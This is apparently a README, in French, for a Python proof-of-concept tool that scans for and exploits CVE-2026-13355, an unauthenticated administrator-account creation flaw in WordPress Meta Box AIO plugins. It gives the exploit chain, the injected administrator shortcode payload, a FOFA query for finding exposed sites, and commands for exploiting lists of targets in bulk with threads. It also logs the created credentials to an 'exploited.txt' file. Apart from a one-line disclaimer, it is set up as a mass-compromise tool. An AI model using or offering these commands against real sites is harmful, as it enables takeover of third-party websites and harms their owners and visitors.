
Scanner et exploit PoC en Python pour CVE-2026-13355, une élévation de privilèges administrateur non authentifiée dans les plugins WordPress Meta Box AIO, avec scan de masse FOFA.
Preuve de concept Python 3 — scanner et exploit pour CVE-2026-13355 dans le bundle WordPress Meta Box AIO (et les extensions associées MB Frontend Submission / MB User Profile).
| Plateforme | Plugin WordPress |
| Composant | Meta Box AIO |
| Affecté | Meta Box AIO ≤ 3.11.0 ; MB Frontend Submission ≤ 4.5.6 ; MB User Profile ≤ 3.11.0 |
| Corrigé dans | Meta Box AIO 3.12.0+ (autorisation de Form::process()) |
| CVSS | 9.8 Critique |
| Auth | Non authentifié |
| CWE | CWE-269 — Gestion inappropriée des privilèges |
| Chercheur | h0xilo (Wordfence) |
Des failles en chaîne dans deux extensions intégrées permettent la création non authentifiée d'un compte administrateur :
mbfs) — rwmb_frontend_field_object_id remplace la cible du formulaire sans authentification ; Form::process() omet user_can_edit(), ce qui permet aux attaquants d'appeler wp_update_post() et d'écraser post_content sur des articles/pages arbitraires.mbup) — Les attributs de shortcode injectés [mb_user_profile_register role="administrator" auto_login="true"] sont acceptés sans validation du rôle.Important : La chaîne d'exploitation nécessite un formulaire mbfs (soumission frontend) public, et non des formulaires mbup réservés à la connexion. De nombreux résultats FOFA n'exposent que l'interface de connexion/enregistrement mbup — ceux-ci sont signalés comme plugin_mbup_only, non exploitables via cette chaîne.
pip install -r requirements.txtpip install -r requirements.txt
# Cible unique — vérification (flux terminal en direct par défaut)
python poc.py -u https://target.example --mode check
# Vérification en masse (une ligne par cible sauf --quiet)
python poc.py --list targets.example.txt --mode check --threads 20
# Cible unique — exploitation (nécessite l'URL du formulaire mbfs + l'ID de l'article)
python poc.py -u https://target.example --mode exploit \
--form-url /contact/ --object-id 12 --verify
# Exploitation en masse depuis la sortie de vérification
python poc.py --list candidates.jsonl --mode exploit --threads 5 --verify
Exemple de requête :
body="/wp-content/plugins/meta-box-aio/"
Normaliser un export CSV FOFA :
python fofa_to_list.py -i fofa_export.csv
# écrit list.txt + CSV normalisé (local uniquement, ignoré par git)
python poc.py --list list.txt --mode check --threads 20
Utilisez --vuln-list exploited.txt lors des exécutions d'exploitation afin que les résultats de vérification dans hits.txt ne soient pas écrasés.
status en vérificationpost_content via un formulaire mbfs avec ?rwmb_frontend_field_object_id=<id>.mbfs de contact/newsletter manquent souvent d'un véritable champ post_content ; l'écrasement peut échouer en pratique..
├── poc.py
├── fofa_to_list.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
Les listes de scan locales et les artefacts d'exécution (list.txt, fofa*.csv, *.jsonl, hits*.txt, …) sont dans .gitignore et ne doivent pas être commités.
Uniquement pour des tests de sécurité autorisés et à des fins éducatives. Vous êtes responsable du respect des lois applicables et des règles du programme.
| Option | Description |
|---|
-u, --url | URL de base unique |
--list | Liste d'URL, CSV normalisé FOFA (colonne url), ou candidates.jsonl |
--mode | check ou exploit |
--form-url | Page contenant [mb_frontend_form ...] / mbfs-form |
--object-id | ID d'article/page pour rwmb_frontend_field_object_id |
--paths | Chemins supplémentaires à parcourir pour les formulaires frontend |
--username, --email, --password | Identifiants d'enregistrement (exploit) |
--shortcode | Charge utile post_content injectée (shortcode d'enregistrement admin par défaut) |
--verify | Confirmer via /wp-admin/ ou wp-login.php après l'enregistrement |
--flow | Diffuser une ligne par cible lors des exécutions en masse (par défaut avec --list) |
--no-flow | Résumé de progression uniquement |
--quiet, -q | Sortie console minimale |
--threads, -j | Concurrence en masse (par défaut 15) |
--output | Journal JSONL (par défaut cve_2026_13355_results.jsonl) |
--vuln-list | Lignes de résultats texte / exploitées (par défaut hits.txt / utiliser exploited.txt pour l'exploit) |
--candidates-list | Métadonnées JSONL de vérification (par défaut candidates.jsonl) |
| Fichier | Mode | Contenu |
|---|
cve_2026_13355_results.jsonl | les deux | JSON complet par cible |
hits.txt | check | URL avec candidate_mbfs |
candidates.jsonl | check | form_url, object_id, indices de version |
exploited.txt | exploit | url|user|email|pass|oid=… |
| Statut | Signification |
|---|
candidate_mbfs | Plugin présent + formulaire MB Frontend Submission trouvé (exploitation possible) |
plugin_mbup_only | Uniquement des formulaires de connexion/enregistrement User Profile — pas cette chaîne CVE |
plugin_no_frontend_forms | Empreinte du plugin, aucun formulaire frontend rwmb découvert |
patched | Version au-dessus de la plage affectée (lorsqu'elle est lisible) |
no_plugin | Meta Box AIO / extensions non détectés |